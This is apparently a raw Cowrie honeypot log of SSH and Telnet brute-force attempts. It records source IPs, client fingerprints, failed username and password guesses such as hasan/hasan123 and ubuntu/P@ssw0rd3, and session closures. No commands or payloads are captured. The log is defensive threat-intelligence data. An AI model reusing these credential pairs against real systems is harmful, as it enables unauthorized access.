{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":64138,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc64775050d","protocol":"ssh","message":"New connection: 213.209.159.159:64138 (159.203.135.109:22) [session: 7fc64775050d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:03.443537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:03.565470Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:03.643766Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan","message":"login attempt [hasan/hasan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:04.043113Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan1","message":"login attempt [hasan/hasan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:05.129068Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan123","message":"login attempt [hasan/hasan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:06.218804Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":34064,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4086b43b536","protocol":"ssh","message":"New connection: 202.4.106.201:34064 (159.203.135.109:22) [session: d4086b43b536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:06.964872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:06.969310Z","src_ip":"202.4.106.201","session":"d4086b43b536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:07.244685Z","src_ip":"202.4.106.201","session":"d4086b43b536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan1234","message":"login attempt [hasan/hasan1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:07.302825Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#321","message":"login attempt [ubuntu/ubuntu#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:08.378628Z","src_ip":"202.4.106.201","session":"d4086b43b536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan12345","message":"login attempt [hasan/hasan12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:08.387173Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:09.472192Z","src_ip":"213.209.159.159","session":"7fc64775050d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:09.656188Z","src_ip":"202.4.106.201","session":"d4086b43b536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":59872,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cea84c9ca74","protocol":"ssh","message":"New connection: 103.182.132.154:59872 (159.203.135.109:22) [session: 5cea84c9ca74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:18.859399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:18.864127Z","src_ip":"103.182.132.154","session":"5cea84c9ca74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:19.081150Z","src_ip":"103.182.132.154","session":"5cea84c9ca74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":46798,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f65e5e620e","protocol":"ssh","message":"New connection: 159.223.45.177:46798 (159.203.135.109:22) [session: 75f65e5e620e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:19.620230Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd3","message":"login attempt [ubuntu/P@ssw0rd3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:19.973094Z","src_ip":"103.182.132.154","session":"5cea84c9ca74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:21.189507Z","src_ip":"103.182.132.154","session":"5cea84c9ca74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:22.392703Z","src_ip":"159.223.45.177","session":"75f65e5e620e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37066,"dst_ip":"159.203.135.109","dst_port":22,"session":"cec3e43d24d4","protocol":"ssh","message":"New connection: 159.203.92.129:37066 (159.203.135.109:22) [session: cec3e43d24d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:23.785839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:23.792092Z","src_ip":"159.203.92.129","session":"cec3e43d24d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:23.801764Z","src_ip":"159.203.92.129","session":"cec3e43d24d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ass-user","password":"123","message":"login attempt [ass-user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:23.816413Z","src_ip":"159.203.92.129","session":"cec3e43d24d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48348,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6f5059dce5","protocol":"ssh","message":"New connection: 122.168.114.167:48348 (159.203.135.109:22) [session: 0b6f5059dce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:24.367177Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:24.825421Z","src_ip":"159.203.92.129","session":"cec3e43d24d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:26.046363Z","src_ip":"122.168.114.167","session":"0b6f5059dce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:26.050664Z","src_ip":"122.168.114.167","session":"0b6f5059dce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:34.111080Z","src_ip":"122.168.114.167","session":"0b6f5059dce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:37.095231Z","src_ip":"122.168.114.167","session":"0b6f5059dce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53986,"dst_ip":"159.203.135.109","dst_port":23,"session":"65cbab11fa03","protocol":"telnet","message":"New connection: 185.26.126.47:53986 (159.203.135.109:23) [session: 65cbab11fa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:48.582218Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":50505,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4aff3265054","protocol":"telnet","message":"New connection: 103.1.184.33:50505 (10.17.0.5:23) [session: d4aff3265054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:56.881300Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36680,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fdcc16beabe","protocol":"ssh","message":"New connection: 2.57.121.25:36680 (10.17.0.5:22) [session: 1fdcc16beabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:58.803835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:58.808479Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:58.912403Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.466123342514038,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:59.048222Z","src_ip":"185.26.126.47","session":"65cbab11fa03","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"cobraya","message":"login attempt [user/cobraya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:59.398717Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cntgfy","message":"login attempt [user/cntgfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:00.504967Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"clara","message":"login attempt [user/clara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:01.611840Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cipher","message":"login attempt [user/cipher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:02.721122Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"34acbfb53d5d","protocol":"ssh","message":"New connection: 122.168.114.167:50748 (159.203.135.109:22) [session: 34acbfb53d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:03.272676Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"christel","message":"login attempt [user/christel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:03.828240Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:04.655365Z","src_ip":"122.168.114.167","session":"34acbfb53d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:04.659388Z","src_ip":"122.168.114.167","session":"34acbfb53d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:04.935426Z","src_ip":"2.57.121.25","session":"1fdcc16beabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":51652,"dst_ip":"159.203.135.109","dst_port":22,"session":"50896c0777ac","protocol":"ssh","message":"New connection: 202.4.106.201:51652 (159.203.135.109:22) [session: 50896c0777ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.863636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.870214Z","src_ip":"202.4.106.201","session":"50896c0777ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52892,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ec4147fd93f","protocol":"ssh","message":"New connection: 159.203.92.129:52892 (159.203.135.109:22) [session: 8ec4147fd93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.879544Z"}
